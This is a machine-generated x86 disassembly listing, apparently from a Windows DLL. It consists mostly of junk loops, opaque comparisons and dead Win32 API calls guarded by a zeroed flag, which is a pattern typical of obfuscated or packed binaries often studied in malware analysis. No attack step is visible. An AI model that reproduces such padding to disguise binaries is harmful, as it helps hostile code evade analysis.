call fcn.10018515
mov dword [eax], 0xe87bb6ab
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10037ff3
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 7
jge 0x10038122
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xd4c]
push esi
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1003805a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd4c]
call fcn.10018515
mov dword [eax], 0x87e17710
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003803c
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100380f0
mov eax, dword [ebp - 0x34]
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setge dl
imul edx, dword [ebp - 0x28]
mov dword [ebp - 0x58], edx
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
add eax, 0xffff9437
add eax, ecx
xor ecx, ecx
test eax, eax
mov eax, dword [ebp - 0x18]
setg cl
cmp ecx, 0xad446302
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x58d3b3e2
setl al
xor edx, edx
cmp eax, 0xfffffffb
setne dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
xor eax, eax
add ecx, dword [ebp - 0x34]
cmp ecx, 0x63b8
setne al
cmp eax, 0xf2b6367a
ja 0x100380e2
mov eax, dword [ebp - 0x18]
push ebx
lea ecx, [ebp - 0x184]
call fcn.10018515
xor eax, eax
mov dword [ebp - 0x18], esi
lea ecx, [ebp - 0xd4c]
push eax
call fcn.10018515
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 4], 0xa
mov dword [eax], ecx
lea ecx, [ebp - 0xd4c]
call fcn.100184f9
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 7
jl 0x1003801f
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xc
jne 0x10038194
or esi, 0xffffffff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], 0xfffffff1
cmp dword [ebp - 0x28], 0xfffffffb
jne 0x1003815e
push ebx
lea ecx, [ebp - 0xa00]
call fcn.10018515
mov dword [eax], 0x2350c165
dec dword [ebp - 0x40]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffffb
je 0x1003813e
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10038176
push ebx
lea ecx, [ebp - 0xa00]
call fcn.10018515
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
jmp 0x10038186
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10038188
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xc
je 0x1003812e
xor esi, esi
inc esi
lea ecx, [ebp - 0xa00]
mov byte [ebp - 4], 9
call fcn.100184f9
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe8
jg 0x10037fd0
or esi, 0xffffffff
lea ecx, [ebp - 0x184]
mov dword [ebp - 4], esi
call fcn.100184f9
mov dword [ebp - 0x2c], 0xfb871c7b
xor eax, eax
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x10], eax
jmp 0x100381e9
cmp byte [ebp - 0x39], 0
je 0x100381e6
push eax
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
mov byte [ebp - 0x39], al
je 0x100381d6
cmp byte [ebp - 0x39], 0
je 0x10038243
push 0x9d0
push 0x48b
push 0x26b9
push eax
push 0xa88
push 0xf77
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
push 0x6dd
push 0x21a9
push 0xb2c
push 0x2f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 4
pop ebx
mov dword [ebp - 0x30], ebx
lea ecx, [ebp - 0x848]
push 2
call fcn.10018477
push ebx
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 4], 0xc
call fcn.10018477
mov byte [ebp - 4], 0xd
xor ebx, ebx
mov dword [ebp - 0x38], esi
inc ebx
mov dword [ebp - 0x18], 5
xor eax, eax
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x24], 0x1b78
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100382b8
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x848]
call fcn.10018515
mov dword [eax], 0xfa5c62e0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10038299
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 4
jge 0x100382e0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x5e4]
call fcn.10018515
mov dword [eax], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100382c1
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100382f2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1544], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100382e5
push ebx
lea ecx, [ebp - 0x848]
call fcn.10018515
mov ecx, dword [ebp - 0x40]
add ecx, dword [eax]
dec dword [ebp - 0x40]
test ecx, ecx
je 0x10038384
push ebx
lea ecx, [ebp - 0x5e4]
call fcn.10018515
mov ecx, 0xffff
mov eax, dword [eax]
add eax, ecx
jne 0x1003833e
push ebx
lea ecx, [ebp - 0x848]
call fcn.10018515
cmp dword [eax], 0
jne 0x1003833e
xor eax, eax
mov esi, eax
jmp 0x10038340
mov esi, ebx
push 3
lea ecx, [ebp - 0x5e4]
call fcn.10018515
push ebx
lea ecx, [ebp - 0x848]
mov dword [eax], esi
call fcn.10018515
mov ecx, dword [ebp - 0x18]
inc ecx
push ebx
mov dword [eax], ecx
lea ecx, [ebp - 0x5e4]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
call fcn.10018515
mov ecx, dword [ebp - 0x38]
cmp dword [eax], ecx
jne 0x10038384
mov eax, ebx
jmp 0x10038386
xor eax, eax
cmp eax, dword [ebp - 0x48]
jge 0x10038396
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10038398
mov eax, ebx
jmp 0x10038398
xor eax, eax
mov dword [ebp - 0x1540], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffeb
jle 0x10038490
mov edi, 0xffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100383d4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x358], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100383bb
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xf
jge 0x1003847d
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x24], 7
mov eax, dword [ebp - 0x358]
xor eax, eax
cmp dword [ebp - 0x358], eax
jne 0x10038458
cmp dword [ebp - 0x58], eax
jne 0x10038458
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x10038422
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1240], 0x1939efd9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10038409
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x1003844d
cmp dword [ebp - 0x358], eax
jne 0x10038447
push ebx
lea ecx, [ebp - 0x5e4]
call fcn.10018515
mov eax, dword [ebp - 0x1240]
mov eax, dword [ebp - 0x358]
mov eax, dword [ebp - 0x358]
mov eax, dword [ebp - 0x1238]
mov dword [ebp - 0x24], eax
jmp 0x1003846e
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1003846e
push eax
push eax
push 0x1d53
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xf
jl 0x100383e1
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffeb
jg 0x100383b2
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
lea ecx, [ebp - 0x5e4]
call fcn.100184f9
or esi, 0xffffffff
lea ecx, [ebp - 0x848]
mov dword [ebp - 4], esi
call fcn.100184f9
xor eax, eax
mov dword [ebp - 0x50], 0xd66c4a87
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x10d0]
push ebx
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x100384f0
mov ecx, 0xffff
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x99c], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x100384db
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10038516
push dword [ebp - 0x20]
lea ecx, [ebp - 0x10d0]
call fcn.10018515
mov dword [eax], 0x46552ded
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100384f8
xor eax, eax
mov dword [ebp - 0x38], 0xffffffec
cmp dword [ebp - 0x38], 0x1c
jl 0x1003878b
push 3
pop esi
push 0xfffffffffffffff8
pop edi
mov dword [ebp - 0x20], 0x8d581621
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jg 0x10038775
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x704]
push ebx
call fcn.10018477
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003857e
push dword [ebp - 0x10]
lea ecx, [ebp - 0x704]
call fcn.10018515
mov dword [eax], 0x8fa8f90a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10038560
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x1003870e
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], eax
jl 0x100385d9
push eax
lea ecx, [ebp - 0x704]
call fcn.10018515
mov dword [eax], 0x545ee28f
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100385d1
push 0x10e7
push 0x1e67
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
dec dword [ebp - 0x44]
push 0
pop eax
jns 0x1003859d
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], esi
jg 0x1003870b
push 2
lea ecx, [ebp - 0x1fc]
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x10], eax
jmp 0x1003860e
push dword [ebp - 0x10]
call fcn.10018515
mov dword [eax], 0x9e9d60a2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
lea ecx, [ebp - 0x1fc]
jl 0x100385fd
push ebx
call fcn.10018515
xor ebx, ebx
xor esi, esi
inc esi
mov dword [eax], ebx
jmp 0x100386d0
push esi
call fcn.10018515
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x99c], ebx
je 0x100386a3
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, 0x26c4
mov eax, dword [ebp - 0x44]
setge cl
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0x704]
setle bl
xor eax, eax
push eax
call fcn.10018515
mov dword [eax], ebx
mov eax, dword [ebp - 0x20]
sub eax, ebx
jne 0x10038677
push eax
lea ecx, [ebp - 0x704]
call fcn.10018515
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10018515
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10018515
xor ebx, ebx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x99c]
mov eax, dword [ebp - 0x99c]
mov eax, dword [ebp - 0x20]
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10018515
push esi
mov eax, dword [eax]
mov ecx, dword [ebp + eax*4 - 0x99c]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x99c], ecx
lea ecx, [ebp - 0x1fc]
call fcn.10018515
inc dword [eax]
push esi
lea ecx, [ebp - 0x1fc]
call fcn.10018515
lea ecx, [ebp - 0x1fc]
cmp dword [eax], 3
jle 0x1003862c
inc dword [ebp - 0x18]
mov byte [ebp - 4], 0xf
call fcn.100184f9
inc dword [ebp - 0x44]
push 3
pop esi
push 1
pop ebx
cmp dword [ebp - 0x44], esi
jle 0x100385e5
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jle 0x10038586
mov dword [ebp - 0x18], eax
jmp 0x10038752
mov dword [ebp - 0x24], 0xa2c0
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x99c], 0
jne 0x10038739
cmp dword [ebp - 0x20], ebx
jg 0x10038739
mov eax, ebx
jmp 0x1003873b
xor eax, eax
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1003871c
lea ecx, [ebp - 0x704]
mov byte [ebp - 4], 0xe
call fcn.100184f9
inc dword [ebp - 0x20]
push 0
pop eax
cmp dword [ebp - 0x20], esi
jle 0x10038540
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0x1c
jge 0x1003852d
mov edi, dword [sym.imp.USER32.dll_ValidateRect]
or esi, 0xffffffff
lea ecx, [ebp - 0x10d0]
mov dword [ebp - 4], esi
call fcn.100184f9
mov dword [ebp - 0x44], 0x7e2799ac
xor eax, eax
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x24], 0xfffffffc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x12
jg 0x10038882
mov dword [ebp - 0x18], 8
lea ecx, [ebp - 0xc2c]
push 4
call fcn.10018477
mov dword [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x40], 0xa733e34b
mov dword [ebp - 0x24], 0x574b6046
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003880e
push 0xfffffffffffffff9
pop ebx
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc2c]
call fcn.10018515
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100387f0
xor ebx, ebx
xor eax, eax
inc ebx
cmp dword [ebp - 0x44], eax
je 0x1003881f
cmp dword [ebp - 0x18], eax
je 0x1003881f
mov esi, ebx
cmp dword [ebp - 0x44], eax
jne 0x10038821
mov esi, eax
push eax
lea ecx, [ebp - 0xc2c]
call fcn.10018515
mov dword [eax], esi
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x10038845
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
or esi, 0xffffffff
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xc2c]
mov dword [ebp - 4], esi
call fcn.100184f9
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x12
jle 0x100387b9
xor eax, eax
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100388a9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12c], 0x4a6847df
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10038891
xor eax, eax
mov dword [ebp - 0x10], 0xfb0b0297
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100388d3
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1058], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100388bb
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x10038909
mov dword [ebp - 0x58], 0xc170cd50
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10038901
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor eax, eax
inc dword [ebp - 0x58]
dec dword [ebp - 0x10]
jns 0x100388db
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10038929
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
xor eax, eax
mov byte [ebp - 0x39], al
mov dword [ebp - 0x30], 0xef20fe6e
mov dword [ebp - 0x30], 0xbeccce1e
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x30], 0xe923e64f
push 0xfffffffffffffff9
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x68029989
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x6985
mov dword [ebp - 0x58], 0xe6b99bf0
push 3
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x10038985
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1654], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10038971
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x100389a5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf20], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003898d
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100389bb
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1068], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x100389aa
inc dword [ebp - 0x58]
cmp byte [ebp - 0x39], 0
je 0x10038acc
push ebx
lea ecx, [ebp - 0x3b0]
call fcn.10018477
mov dword [ebp - 4], 0x12
or eax, 0xffffffff
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10038a15
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3b0]
call fcn.10018515
mov dword [eax], 0x8b72fd49
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100389f7
xor eax, eax
push eax
lea ecx, [ebp - 0x3b0]
call fcn.10018515
mov eax, dword [eax]
neg eax
je 0x10038a4c
xor eax, eax
lea ecx, [ebp - 0x3b0]
push eax
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x3b0]
push eax
call fcn.10018515
cmp dword [eax], 0
je 0x10038a4c
mov edx, ebx
jmp 0x10038a50
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setg cl
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x3b0]
push eax
call fcn.10018515
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x3b0]
setg bl
xor eax, eax
push eax
call fcn.10018515
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x40]
jl 0x10038b2b
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10038aac
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 4], eax
call fcn.100184f9
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
mov dword [ebp - 0x34], 2
xor eax, eax
mov dword [ebp - 0x30], eax
xor edx, edx
mov dword [ebp - 0x18], 0x17ca4e86
mov dword [ebp - 0x10], 0xc6ae49a2
mov dword [ebp - 0x38], 0x6b79df94
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x34]
neg eax
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
xor ecx, ecx
add edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp edx, eax
mov eax, 0xffff
setl cl
cmp ecx, eax
jae 0x10038b5b
mov dword [ebp - 0x18], 0xfffffffc
jmp 0x10038cf8
xor ebx, ebx
mov dword [ebp - 0x58], 0x83bc1b0f
mov dword [ebp - 0x18], eax
inc ebx
jmp 0x10038b4e
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3b0]
call fcn.10018515
and dword [eax], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10038b3a
inc dword [ebp - 0x58]
jmp 0x10038aaf
mov dword [ebp - 0x28], 0x966896e6
xor eax, eax
mov dword [ebp - 0x24], 0x5fec6b03
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xf
je 0x10038c89
movdqa xmm0, xmmword [0x10007e60]
lea eax, [ebp - 0x1130]
push eax
lea eax, [ebp - 0x1140]
push eax
lea ecx, [ebp - 0x147c]
movdqu xmmword [ebp - 0x1140], xmm0
call fcn.10018524
lea ecx, [ebp - 0x1e3]
mov esi, eax
call fcn.10008e83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xde8]
push dword [esi]
call fcn.100184d3
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x24], 0xbbfefa2e
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
add eax, 0xfffd
je 0x10038be5
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10038be7
mov edi, ebx
jmp 0x10038be9
xor eax, eax
mov edi, eax
push 2
lea ecx, [ebp - 0xde8]
call fcn.10018515
mov ecx, dword [ebp - 0x28]
mov esi, eax
xor eax, eax
cmp edi, ecx
mov ecx, dword [ebp - 0x38]
setne al
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
cmp dword [esi], edx
setg cl
add eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x34]
test eax, eax
jne 0x10038c2d
mov esi, eax
cmp dword [ebp - 0x38], eax
je 0x10038c2f
mov esi, ebx
push ebx
lea ecx, [ebp - 0xde8]
call fcn.10018515
xor ecx, ecx
cmp esi, 0x721c
sete cl
mov eax, dword [eax]
sub eax, ecx
add eax, 8
mov dword [ebp - 0x24], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10038c68
push eax
push eax
push 0x1d53
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
or eax, 0xffffffff
lea ecx, [ebp - 0xde8]
mov dword [ebp - 4], eax
call fcn.100184f9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xf
jne 0x10038b78
push 3
pop esi
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
sub edx, 0xcbc8
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, eax
mov eax, dword [ebp - 0x28]
setle cl
xor edx, edx
cmp eax, ecx
setl dl
imul edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp dword [ebp - 0x28], edx
jl 0x10038cc8
mov ecx, ebx
cmp dword [ebp - 0x28], eax
jne 0x10038cca
mov ecx, eax
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
imul eax, ecx, 0x225d
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jl 0x10038cf3
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10038cf5
mov eax, ebx
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jg 0x1003a078
or edi, 0xffffffff
jmp 0x10038d0d
xor eax, eax
mov dword [ebp - 0x28], 6
mov dword [ebp - 0x18], 0xd72276b
mov dword [ebp - 0x44], 0x941fc9a5
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10038d44
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3e8], 0x1369
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10038d2b
xor eax, eax
mov dword [ebp - 0x28], 0x12
jmp 0x10038d63
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10038d60
push eax
push eax
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x10
je 0x10038d4d
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], eax
jl 0x10038fed
mov dword [ebp - 0x38], 2
xor edx, edx
mov dword [ebp - 0x24], 0x177
mov dword [ebp - 0x20], 0x86c7a88f
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setne dl
xor eax, eax
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], eax
je 0x10038e7e
push esi
lea ecx, [ebp - 0xb80]
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10038de6
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb80]
call fcn.10018515
mov dword [eax], 0x6b59
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10038dc8
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1003908b
mov dword [ebp - 0x44], eax
jmp 0x10038e63
mov dword [ebp - 0x40], 0x9c4ddb84
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x3e8], 0xd393
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10038e36
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x3e8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x3e8]
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x3e8], ebx
jge 0x10038e34
mov ecx, ebx
jmp 0x10038e38
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x40]
xor ebx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xb80]
sete bl
sub ebx, dword [ebp - 0x40]
neg ebx
sbb ebx, ebx
xor eax, eax
push eax
inc ebx
call fcn.10018515
mov dword [eax], ebx
mov dword [ebp - 0x40], ebx
xor ebx, ebx
inc dword [ebp - 0x44]
inc ebx
cmp dword [ebp - 0x44], ebx
jle 0x10038df4
or eax, 0xffffffff
lea ecx, [ebp - 0xb80]
mov dword [ebp - 4], eax
call fcn.100184f9
jmp 0x10038fc6
mov dword [ebp - 0x34], 0xe44f
lea ecx, [ebp - 0x56c]
mov dword [ebp - 0x40], 0x5b6d4f50
push ebx
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10038ec6
push dword [ebp - 0x10]
lea ecx, [ebp - 0x56c]
call fcn.10018515
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10038eac
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10038ef9
mov eax, dword [ebp - 0x38]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10038eda
cmp dword [ebp - 0x34], eax
je 0x10038ee1
mov ecx, ebx
cmp dword [ebp - 0x20], eax
jne 0x10038ee3
mov ecx, eax
mov eax, dword [ebp - 0x20]
add eax, ecx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x18]
jge 0x10038efc
mov eax, dword [ebp - 0x34]
xor eax, eax
lea ecx, [ebp - 0x56c]
push eax
call fcn.10018515
mov ecx, dword [ebp - 0x34]
dec ecx
neg ecx
sbb ecx, ecx
add ecx, 0xfffffff9
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
